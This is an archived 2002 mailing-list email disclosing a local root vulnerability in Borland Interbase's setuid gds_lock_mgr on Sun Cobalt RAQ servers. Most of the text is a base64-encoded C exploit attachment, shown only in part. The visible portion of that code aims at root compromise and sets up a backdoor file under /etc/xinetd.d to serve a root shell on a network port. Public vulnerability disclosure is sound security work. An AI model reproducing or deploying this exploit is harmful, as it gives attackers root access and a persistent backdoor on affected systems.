|
Date: Wed, 25 Sep 2002 12:05:32 -0700 (PDT) From: grazer@digit-labs.org To: submissions@securiteam.com Subject: Borland Interbase local root exploit --1070528868-1989719880-1032980732=:11264 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, I've found a bug in the Interbase gds_lock_mgr binary which is shipped with all versions of the Sun Cobalt RAQ (XTR/4/550 etc.) and is suid by default. Borland did not respond to my emails. The exploit is attached. Note: other bug than disclosed by snosoft some weeks ago. Sincerely yours, Wouter ter Maat aka grazer --1070528868-1989719880-1032980732=:11264 Content-Type: TEXT/x-csrc; name="interbase-gds-exploit.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.LNX.4.33.0209251205320.11264@bespin.org> Content-Description: Content-Disposition: attachment; filename="interbase-gds-exploit.c" Ly8gZ2RzX2xvY2tfbWdyIGVhc3kgbG9jYWwgcm9vdCBjb21wcm9taXNlDQov LyBBbGwgY29iYWx0IExpbnV4IGFmZmVjdGVkLCBhbmQgY2VydGFpbiBtYW5k cmFrZSBpbnN0YWxsYXRpb25zLg0KLy8gV291dGVyIHRlciBNYWF0IGFrYSBn cmF6ZXIgLSBodHRwOi8vd3d3Lmktc2VjdXJpdHkubmwNCg0KI2luY2x1ZGUg PHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lz L3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3N0YXQuaD4NCiNpbmNsdWRlIDxz eXMvdXRzbmFtZS5oPg0KDQojZGVmaW5lIEJEUEFUSCAiL2V0Yy94aW5ldGQu ZC94aW5ldGRiZCINCiNkZWZpbmUgR0RTQklOICIvb3B0L2ludGVyYmFzZS9i aW4vZ2RzX2xvY2tfbWdyIg0KDQppbnQgbWFpbigpIHsNCg0Kc3RydWN0IHV0 c25hbWUgYnVmOw0KY2hhciBwYXRoWzI0XSwgbG5jWzM0XTsNCiANCkZJTEUg KmZkOw0KDQovKiBjaGVjayBmb3IgYSByb290c2hlbGwgb24gcG9ydCA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